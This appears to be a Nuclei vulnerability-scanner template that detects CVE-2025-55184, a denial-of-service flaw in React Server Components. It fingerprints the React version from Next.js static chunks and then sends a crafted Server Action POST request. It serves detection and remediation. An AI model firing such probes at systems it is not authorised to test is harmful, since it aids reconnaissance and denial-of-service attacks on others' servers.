React Server Components - Denial of Service

id: CVE-2025-55184

info:
  name: React Server Components - Denial of Service
  author: DhiyaneshDk
  severity: high
  description: |
    React Server Components 19.0.0 to 19.2.1 including react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack contain an insecure deserialization vulnerability caused by unsafe payload deserialization in Server Function endpoints, letting unauthenticated attackers cause denial of service by hanging the server process.
  impact: |
    Unauthenticated attackers can cause the server to hang indefinitely, resulting in denial of service and preventing legitimate requests.
  remediation: |
    Update to the latest version beyond 19.2.1.
  reference:
    - https://vercel.com/kb/bulletin/security-bulletin-cve-2025-55184-and-cve-2025-55183#patched-versions
    - https://www.facebook.com/security/advisories/cve-2025-55184
    - https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2025-55184
    epss-score: 0.66882
    epss-percentile: 0.99276
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 3
    vendor: facebook
    product: react
    shodan-query: http.component:"Next.js"
  tags: cve,cve2025,react,nextjs,dos,vkev

flow: |
  http(1);
  for (let chunk of iterate("chunk_path")) {
    set("current_chunk", chunk);
    if (http(2)) {
      http(3);
      break;
    }
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "/_next/static/")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: chunk_path
        part: body
        internal: true
        group: 1
        regex:
          - '"(/_next/static/[^"]+\.js)"'

  - raw:
      - |
        GET {{current_chunk}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'compare_versions(react_version, ">= 19.0.0", "<= 19.2.1")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: react_version
        part: body
        internal: true
        group: 1
        regex:
          - '\.version;if\("(\d+\.\d+\.\d+)'

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/x-component
        Content-Type: application/x-www-form-urlencoded
        Next-Action: x

        0=["$F1"]&1={"id":"x","bound":null}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Server action not found")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 404'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"react=" + react_version'
# digest: 4b0a00483046022100da9ac8c16e7df56ef439b8dacf11d2bc70f53a4bdceab95ed370d385ea857445022100fca75c31be3ed87eef49d6e6ee3dccd0ba1afc938f836638edcdcc424a8b4e4d:922c64590222798bb761d5b6d8e72950